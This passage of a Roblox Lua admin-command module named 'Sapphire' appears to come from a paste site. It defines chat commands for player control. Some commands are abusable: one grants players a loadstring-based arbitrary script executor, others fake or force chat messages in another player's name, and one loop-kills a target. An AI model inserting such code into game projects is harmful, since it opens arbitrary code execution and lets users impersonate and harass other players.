  823. local Interface = Instance.new("ScreenGui")
  824. local Body = Instance.new("Frame")
  825. local head = Instance.new("TextLabel")
  826. local CodeInput = Instance.new("TextBox")
  827. local LoginButton = Instance.new("TextButton")
  828. local CancelButton = Instance.new("TextButton")
  829. local TextLabel = Instance.new("TextLabel")
  830.  
  831. -- Properties
  832.  
  833. Interface.Name = "Interface"
  834. Interface.Parent = player.PlayerGui
  835.  
  836. Body.Name = "Body"
  837. Body.Parent = Interface
  838. Body.BackgroundColor3 = Color3.new(0, 0, 0)
  839. Body.BackgroundTransparency = 0.5
  840. Body.Position = UDim2.new(0.5, -150, 0.5, -150)
  841. Body.Size = UDim2.new(0, 300, 0, 300)
  842.  
  843. head.Name = "head"
  844. head.Parent = Body
  845. head.BackgroundColor3 = Color3.new(1, 1, 1)
  846. head.BackgroundTransparency = 1
  847. head.Position = UDim2.new(0.5, -150, 0, 0)
  848. head.Size = UDim2.new(0, 300, 0, 50)
  849. head.Font = Enum.Font.Highway
  850. head.FontSize = Enum.FontSize.Size28
  851. head.Text = "Sapphire Rank Override"
  852. head.TextColor3 = Color3.new(1, 1, 1)
  853. head.TextSize = 28
  854.  
  855. CodeInput.Name = "CodeInput"
  856. CodeInput.Parent = Body
  857. CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
  858. CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
  859. CodeInput.Size = UDim2.new(0, 150, 0, 30)
  860. CodeInput.Font = Enum.Font.SourceSans
  861. CodeInput.FontSize = Enum.FontSize.Size14
  862. CodeInput.Text = "Login"
  863. CodeInput.TextScaled = true
  864. CodeInput.TextSize = 14
  865. CodeInput.TextWrapped = true
  866.  
  867. LoginButton.Name = "LoginButton"
  868. LoginButton.Parent = Body
  869. LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
  870. LoginButton.BackgroundTransparency = 1
  871. LoginButton.Position = UDim2.new(0, 25, 0, 150)
  872. LoginButton.Size = UDim2.new(0, 80, 0, 30)
  873. LoginButton.Font = Enum.Font.SourceSansBold
  874. LoginButton.FontSize = Enum.FontSize.Size28
  875. LoginButton.Text = "Login"
  876. LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
  877. LoginButton.TextSize = 28
  878.  
  879. CancelButton.Name = "CancelButton"
  880. CancelButton.Parent = Body
  881. CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
  882. CancelButton.BackgroundTransparency = 1
  883. CancelButton.Position = UDim2.new(0, 200, 0, 150)
  884. CancelButton.Size = UDim2.new(0, 80, 0, 30)
  885. CancelButton.Font = Enum.Font.SourceSansBold
  886. CancelButton.FontSize = Enum.FontSize.Size28
  887. CancelButton.Text = "Cancel"
  888. CancelButton.TextColor3 = Color3.new(1, 0, 0)
  889. CancelButton.TextSize = 28
  890.  
  891. TextLabel.Parent = Body
  892. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  893. TextLabel.BackgroundTransparency = 1
  894. TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
  895. TextLabel.Size = UDim2.new(0, 200, 0, 50)
  896. TextLabel.Font = Enum.Font.Highway
  897. TextLabel.FontSize = Enum.FontSize.Size24
  898. TextLabel.Text = "Please login to get rank 6."
  899. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  900. TextLabel.TextSize = 24
  901.  
  902. LoginButton.MouseButton1Click:connect(function()
  903. if CodeInput.Text == Override then
  904. Interface:remove()
  905. SetRank(player, 7)
  906. else
  907. local WrongCode = Instance.new('TextLabel',Body)
  908. WrongCode.Name = "WrongCode"
  909. WrongCode.Parent = Body
  910. WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
  911. WrongCode.BackgroundTransparency = 1
  912. WrongCode.Position = UDim2.new(0, 50, 0, 200)
  913. WrongCode.Size = UDim2.new(0, 200, 0, 50)
  914. WrongCode.Font = Enum.Font.SourceSansBold
  915. WrongCode.FontSize = Enum.FontSize.Size24
  916. WrongCode.Text = "Wrong Code!"
  917. WrongCode.TextColor3 = Color3.new(1, 0, 0)
  918. WrongCode.TextSize = 24
  919. wait(3)
  920. WrongCode:remove()
  921. end
  922. end)
  923. CancelButton.MouseButton1Click:connect(function()
  924. Interface:remove()
  925. end)
  926. end)
  927.  
  928. NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
  929. local Split = message:find(Splitkey)
  930. local PreSplit = message:sub(1, Split - 1)
  931. local AfterSplit = message:sub(Split + 1)
  932. for _,plr in next,GetPlayers(player,PreSplit) do
  933. plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
  934. end
  935. end)
  936.  
  937. NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
  938. local Split = message:find(Splitkey)
  939. local PreSplit = message:sub(1, Split - 1)
  940. local AfterSplit = message:sub(Split + 1)
  941. for _,plr in next,GetPlayers(player,PreSplit) do
  942. plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
  943. end
  944. end)
  945.  
  946.  
  947.  
  948. NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
  949. getRanked(player)
  950. end)
  951.  
  952. NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
  953. local Split = message:find(Splitkey)
  954. local PreSplit = message:sub(1, Split - 1)
  955. local AfterSplit = message:sub(Split + 1)
  956. for _,plr in next,GetPlayers(player,PreSplit) do
  957. FC(plr, tostring(AfterSplit))
  958. end
  959. end)
  960.  
  961. NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
  962. for _,plr in next,GetPlayers(player,message) do
  963. while wait() do
  964. plr.Character.Humanoid.Health = 0
  965. end
  966. end
  967. end)
  968.  
  969.  
  970.  
  971.  
  972. NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
  973. local Split = message:find(Splitkey)
  974. local PreSplit = message:sub(1, Split - 1)
  975. local AfterSplit = message:sub(Split + 1)
  976.  
  977. Services = setmetatable({},{__index=function(s,n)
  978. if n == "ChatService" then
  979. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  980. else
  981. return game:service(n)
  982. end
  983. end})
  984. local FakeChat = Services.ChatService:AddSpeaker(PreSplit)
  985.  
  986. if not Services.ChatService:GetChannel("All") then
  987. Services.ChatService:AddChannel("All")
  988. for i,v in next, game:service'Players':players() do
  989. if Services.ChatService:GetSpeaker(v.Name) then
  990. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  991. end
  992. end
  993. end
  994.  
  995. FakeChat:JoinChannel("All")
  996.  
  997.  
  998.  
  999. FakeChat:SayMessage(tostring(AfterSplit),"All")
  1000.  
  1001.  
  1002. wait(0.01)
  1003.  
  1004. Services.ChatService:RemoveSpeaker(PreSplit)
  1005. end)
  1006.  
  1007.  
  1008.  
  1009. NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
  1010. for _,plr in next,GetPlayers(player,message) do
  1011. plr.Character = nil
  1012. wait(0.3)
  1013. plr:LoadCharacter()
  1014. end
  1015. end)
  1016.  
  1017. NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
  1018. Output(player, 'Do you want waves on?','Institutional white')
  1019. Output(player, 'Yes','Lime green',function() Waves = true end)
  1020. Output(player, 'No','Really red',function() Waves = false end)
  1021. end)
  1022.  
  1023. NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
  1024. addChannel(message)
  1025. end)
  1026.  
  1027. NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
  1028. Output(player, message, GetColor(player))
  1029. if message == "" then
  1030. Output(player, 'Sapphire', 'Lime green')
  1031. end
  1032. end)
  1033.  
  1034. NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
  1035. getPlayers(player)
  1036. end)
  1037.  
  1038.  
  1039. NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
  1040. local Split = message:find(Splitkey)
  1041. local PreSplit = message:sub(1, Split - 1)
  1042. local AfterSplit = message:sub(Split + 1)
  1043. for _,plr in next,GetPlayers(player,PreSplit) do
  1044. game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
  1045. end
  1046. end)
  1047.  
  1048. NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
  1049. for i,v in pairs(game.Players:GetPlayers()) do
  1050. v:kick('[Sapphire]: Server has been shutdown.')
  1051. end
  1052. end)
  1053.  
  1054. NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
  1055. for _,plr in next,GetPlayers(player,message) do
  1056. -- Objects
  1057.  
  1058. local ScreenGui = Instance.new("ScreenGui")
  1059. local Frame = Instance.new("Frame")
  1060. local TextButton = Instance.new("TextButton")
  1061. local TextBox = Instance.new("TextBox")
  1062. local TextButton_2 = Instance.new("TextButton")
  1063. local TextButton_3 = Instance.new("TextButton")
  1064. local TextLabel = Instance.new('TextLabel')
  1065.  
  1066. -- Properties
  1067.  
  1068. ScreenGui.Parent = plr.PlayerGui
  1069.  
  1070. Frame.Parent = ScreenGui
  1071. Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
  1072. Frame.BackgroundTransparency = 0.5
  1073. Frame.Draggable = true
  1074. Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
  1075. Frame.Selectable = true
  1076. Frame.Size = UDim2.new(0, 400, 0, 400)
  1077. Frame.Visible = true
  1078.  
  1079. TextButton.Parent = Frame
  1080. TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
  1081. TextButton.BackgroundTransparency = 0.60000002384186
  1082. TextButton.Position = UDim2.new(0, 380, 0, 0)
  1083. TextButton.Size = UDim2.new(0, 20, 0, 20)
  1084. TextButton.FontSize = Enum.FontSize.Size24
  1085. TextButton.Text = "-"
  1086. TextButton.TextColor3 = Color3.new(1, 1, 1)
  1087.  
  1088. TextBox.Parent = Frame
  1089. TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
  1090. TextBox.Position = UDim2.new(0, 50, 0, 50)
  1091. TextBox.Size = UDim2.new(0, 300, 0, 250)
  1092. TextBox.ClearTextOnFocus = false
  1093. TextBox.Font = Enum.Font.SourceSans
  1094. TextBox.FontSize = Enum.FontSize.Size14
  1095. TextBox.MultiLine = true
  1096. TextBox.Text = "INPUT YOUR SCRIPT HERE"
  1097. TextBox.TextScaled = false
  1098. TextBox.TextWrapped = true
  1099. TextBox.TextXAlignment="Left"
  1100. TextBox.TextYAlignment="Top"
  1101.  
  1102. TextButton_2.Parent = Frame
  1103. TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
  1104. TextButton_2.Position = UDim2.new(0, 50, 0, 330)
  1105. TextButton_2.Size = UDim2.new(0, 50, 0, 50)
  1106. TextButton_2.Font = Enum.Font.SourceSansBold
  1107. TextButton_2.FontSize = Enum.FontSize.Size24
  1108. TextButton_2.Text = "EXE"
  1109. TextButton_2.TextColor3 = Color3.new(1, 1, 1)
  1110.  
  1111. TextButton_3.Parent = Frame
  1112. TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
  1113. TextButton_3.Position = UDim2.new(0, 300, 0, 330)
  1114. TextButton_3.Size = UDim2.new(0, 50, 0, 50)
  1115. TextButton_3.Font = Enum.Font.SourceSansBold
  1116. TextButton_3.FontSize = Enum.FontSize.Size24
  1117. TextButton_3.Text = "CLR"
  1118. TextButton_3.TextColor3 = Color3.new(1, 1, 1)
  1119.  
  1120. TextLabel.Parent = Frame
  1121. TextLabel.Text = "SCRIPT EXECUTION GUI"
  1122. TextLabel.Size = UDim2.new(0, 380, 0, 20)
  1123. TextLabel.TextScaled = true
  1124. TextLabel.TextColor3 = Color3.new(255,255,255)
  1125. TextLabel.BackgroundTransparency = 1
  1126. TextLabel.Selectable = true
  1127. TextLabel.Draggable = true
  1128.  
  1129. TextButton.MouseButton1Click:connect(function()
  1130. if Frame.Size == UDim2.new(0, 400, 0, 400) then
  1131. Frame.Size = UDim2.new(0, 400, 0, 20)
  1132. TextButton.Text = "+"
  1133. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
  1134. else
  1135. Frame.Size = UDim2.new(0, 400, 0, 400)
  1136. TextButton.Text = "-"
  1137. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
  1138. end
  1139. end)
  1140. TextButton_2.MouseButton1Click:connect(function()
  1141. local success,errored = loadstring(TextBox.Text)
  1142. if success and not errored then
  1143. success()
  1144. else
  1145. TextBox.Text = "Error: "..errored
  1146. end
  1147. end)
  1148.  
  1149. TextButton_3.MouseButton1Click:connect(function()
  1150. TextBox.Text = ""
  1151. end)
  1152. end
  1153. end)
  1154.  
  1155. NewCommand('Mute','mute',6,'Mute a player',function(player,message)
  1156. for _,plr in next,GetPlayers(player,message) do
  1157. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
  1158. end
  1159. end)
  1160.  
  1161. NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
  1162. for _,plr in next,GetPlayers(player,message) do
  1163. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
  1164. end
  1165. end)
  1166.  
  1167. NewCommand("Stun","stun",3,"Stun a player",function(player,message)
  1168. for _,plr in next,GetPlayers(player,message) do
  1169. plr.Character.Humanoid.PlatformStand = true
  1170. end
  1171. end)
  1172.  
  1173. NewCommand("Change Override Code","newcode",7,"Change the override code to Sapphire",function(player,message)
  1174. Override = message
  1175. end)
  1176.  
  1177. NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
  1178. for _,plr in next,GetPlayers(player,message) do
  1179. plr.Character.Humanoid.PlatformStand = false
  1180. end
  1181. end)
  1182.  
  1183. --Loadup--
  1184.  
  1185. for i,v in pairs(game.Players:GetPlayers()) do
  1186. Output(v, 'Welcome to Sapphire, '..v.Name..'!',GetColor(v))
  1187. Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
  1188. Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
  1189. Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
  1190. Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')
  1191.  
  1192. if GetRank(v) >= 1 then
  1193. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1194. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1195. else
  1196. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1197. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1198. end
  1199.  
  1200. v.Chatted:connect(function(m)
  1201. Chatted(v, m)
  1202. end)
  1203. end
  1204.  
  1205. function setChatColor(player)
  1206. pcall(function()
  1207. coroutine.wrap(function()
  1208. if GetRank(player) >= 1 then
  1209. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1210. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1211. else
  1212. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1213. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1214. end
  1215. end)()
  1216. end)
  1217. end
  1218.  
  1219. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement